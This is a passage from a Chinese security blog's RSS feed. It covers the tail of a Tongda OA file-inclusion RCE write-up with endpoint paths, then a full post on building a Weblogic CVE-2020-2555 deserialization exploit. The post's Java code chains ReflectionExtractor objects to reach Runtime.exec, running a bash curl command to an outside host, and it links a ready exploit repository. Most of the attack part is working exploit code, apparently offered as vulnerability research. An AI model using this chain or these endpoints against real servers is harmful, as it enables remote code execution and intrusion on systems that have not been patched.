    foreach ($json as $key =&gt; $val) {
        if ($key == 'data') {
            $val = (array) $val;
            foreach ($val as $keys =&gt; $value) {
                ${$keys} = $value;
            }
        }
        if ($key == 'url') {
            $url = $val;
        }
    }
    if ($url != '') {
        if (substr($url, 0, 1) == '/') {
            $url = substr($url, 1);
        }
        include_once $url;
    }
    exit;
}
</code></pre>
<p>这里不传P参数就能绕过exit了，然后走到下面的include_once进行文件包含造成RCE。</p>
<h2>其他</h2>
<p>我的环境是通达oa2017，2020/03/18从官网下的。php.ini默认禁用了<code>disable_functions = exec,shell_exec,system,passthru,proc_open,show_sou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>,phpinfo</code>，不知道其他版本是什么情况。参考使用com组件绕过disable_function</p>
<p><span class="wpcom_tag_link"><a href="/tags/%e9%80%9a%e8%be%beoa" title="通达OA" target="_blank">通达OA</a></span>之前报过变量覆盖的洞，所以你要知道直接传入的参数就会被覆盖掉变量里，这也是上面UPLOAD_MODE、P、DEST_UID可以直接传入的原因。</p>
<p>有些版本gateway.php路径不同，例如2013：</p>
<pre><code class="">/ispirit/im/upload.php
/ispirit/interface/gateway.php
</code></pre>
<p>例如2017：</p>
<pre><code class="">/ispirit/im/upload.php
/mac/gateway.php
</code></pre>
<h2>参考链接</h2>
<ul>
<li>http://www.tongda2000.com/news/673.php</li>
<li>http://club.tongda2000.com/forum.php?mod=viewthread&amp;tid=128377</li>
<li>https://github.com/jas502n/OA-tongda-RCE</li>
</ul>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Weblogic CVE-2020-2555 反序列化RCE EXP构造</title>
		<link>/audit/1334.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 11 Mar 2020 03:22:42 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1334</guid>

					<description><![CDATA[Weblogic 简直是个无底洞. 2020.03.06 早上4点，看到了清水川崎师傅推送了Weblogic CVE-2020-2555的通告，在推特上搜了一波，发现有详细的分析文...]]></description>
										<content:encoded><![CDATA[<p>Weblogic 简直是个无底洞.<br />
<span id="more-1334"></span></p>
<p>2020.03.06 早上4点，看到了清水川崎师傅推送了Weblogic CVE-2020-2555的通告，在推特上搜了一波，发现有详细的分析文章，遂有此文。</p>
<h2>漏洞分析</h2>
<p>个人研究，没钱买补丁，这里借用<a class="wp-editor-md-post-content-link" href="https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server">Zero Day</a>的图。</p>
<p><img src="/wp-content/uploads/2020/03/20200310118799-1.png" alt="image" /></p>
<p>补丁中将<code>LimitFilter</code>类的<code>toString()</code>方法中的<code>extract()</code>方法调用全部移除，而我们需要知道在<a class="wp-editor-md-post-content-link" href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java">CommonsCollections5</a>中可以利用<code>BadAttributeValueExpException</code>来调用任意类的<code>toString()</code>方法。</p>
<p>接着来看下没打补丁之前<code>LimitFilter</code>类的<code>toString()</code>方法。</p>
<pre><code class="language-java ">public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
    if (this.m_comparator instanceof ValueExtractor) {
        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
    } else if (this.m_comparator != null) {
        sb.append(", comparator=").append(this.m_comparator);
    }

    sb.append("])");
    return sb.toString();
}
</code></pre>
<p><code>toString()</code>中会将<code>this.m_oAnchorTop</code>和<code>this.m_oAnchorBottom</code>作为参数传入<code>ValueExtractor.extract()</code>，补丁移除了<code>extractor.extract()</code>操作，跟进<code>extract()</code>看下，发现<code>extract()</code>只是一个抽象方法，并没有实现，那说明<code>extract()</code>在<code>ValueExtractor</code>的子类中可以利用。因为是<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>，所以我们只需要在<code>ValueExtractor</code>子类中找到实现了<code>Serializable</code>或者<code>ExternalizableLite</code>反序列化接口并且有<code>extract()</code>的方法。最终在<code>com.tangosol.util.extractor.ReflectionExtractor#extract()</code>找到了反射任意方法调用。</p>
<pre><code class="language-java ">public E extract(T oTarget) {
    if (oTarget == null) {
        return null;
    } else {
        Class clz = oTarget.getClass();

        try {
            Method method = this.m_methodPrev;
            if (method == null || method.getDeclaringClass() != clz) {
                this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
            }

            return method.invoke(oTarget, this.m_aoParam);
        } catch (NullPointerException var4) {
            throw new RuntimeException(this.suggestExtractFailureCause(clz));
        } catch (Exception var5) {
            throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
        }
    }
}
</code></pre>
<p>到现在为止我们可以传入一个<code>Runtime.getRuntime()</code>的<code>oTarget</code>，将<code>this.m_methodPrev</code>赋值为exec，然后<code>this.m_aoParam</code>就是我们的命令参数，就可以RCE了。而对于反序列化而言，我们需要继续构建对象，让他自己执行<code>Runtime.getRuntime()</code>，这里很像cc链中的<code>InvokerTransformer.transform()</code>，那有没有像cc链中的<code>ChainedTransformer</code>类呢。遂找到了<code>com.tangosol.util.extractor.ChainedExtractor#extract()</code></p>
<pre><code class="language-java ">@JsonbCreator
public ChainedExtractor(@JsonbProperty("extractors") ValueExtractor[] aExtractor) {
    super(aExtractor);
    this.m_nTarget = this.computeTarget();
}
public E extract(Object oTarget) {
    ValueExtractor[] aExtractor = this.getExtractors();
    int i = 0;

    for(int c = aExtractor.length; i &lt; c &amp;&amp; oTarget != null; ++i) {
        oTarget = aExtractor[i].extract(oTarget);
    }

    return oTarget;
}
</code></pre>
<p>和cc5的构造很像，我们一步一步构造下</p>
<pre><code class="language-java ">// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
    "getMethod",
    new Object[]{"getRuntime", new Class[0]}

);

// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
    "invoke",
    new Object[]{null, new Object[0]}

);

// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
    "exec",
    new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
);
</code></pre>
<p>首先先构造三个<code>ReflectionExtractor</code>对象来调用反射拿到我们想要的，然后把他放到<code>ReflectionExtractor</code>数组中，将数组通过构造函数赋值给<code>ChainedExtractor</code>。</p>
<pre><code class="language-java ">ReflectionExtractor[] extractors = {
    extractor1,
    extractor2,
    extractor3,
};

ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
</code></pre>
<p>那到目前为止，只要反序列化执行了<code>chainedExtractor.extract()</code>就可以造成<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>。而前文所说，<code>toString()</code>中是执行了<code>extract()</code>的，所以我们将<code>chainedExtractor</code>通过反射赋值给<code>limitFilter</code>对象。然后通过<code>BadAttributeValueExpException</code>触发<code>limitFilter</code>对象的<code>toString()</code>，进而触发<code>extract()</code>一步一步调用<code>method.invoke()</code>，继而通过反射拿到<code>Runtime.getRuntime().exec("")</code>，达成RCE。</p>
<h2>坑</h2>
<ol>
<li><code>coherence.jar</code>要使用和目标版本一致的，不然会有<code>serialVersionUID</code>不一致的问题。</li>
<li><code>BadAttributeValueExpException</code>对jdk的版本有要求。具体看<a class="wp-editor-md-post-content-link" href="https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70">这里</a></li>
</ol>
<h2>漏洞利用</h2>
<p>https://github.com/Y4er/CVE-2020-2555</p>
<p><img src="/wp-content/uploads/2020/03/20200310119395-1.gif" alt="" /></p>
<h2>参考</h2>
<ol>
<li>https://www.zerodayinitiative.com/blog/2020/3/5/<span class="wpcom_tag_link"><a href="/tags/cve" title="cve" target="_blank">cve</a></span>-2020-2555-rce-through-a-deserialization-bug-in-oracles-<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>-server</li>
<li>https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR76</li>
<li>https://github.com/frohoff/ysoserial/blob/master/src/main/<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>/ysoserial/payloads/CommonsCollections5.java</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
